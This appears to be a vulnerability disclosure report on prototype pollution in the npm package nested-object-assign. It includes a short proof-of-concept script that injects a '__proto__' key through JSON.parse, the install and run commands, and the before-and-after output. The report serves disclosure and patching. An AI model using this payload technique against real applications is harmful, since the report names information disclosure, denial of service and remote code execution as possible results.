Description

nested-object-assign is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
const assign = require('nested-object-assign')

console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)

2. Execute the following commands in the terminal:

npm i nested-object-assign # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.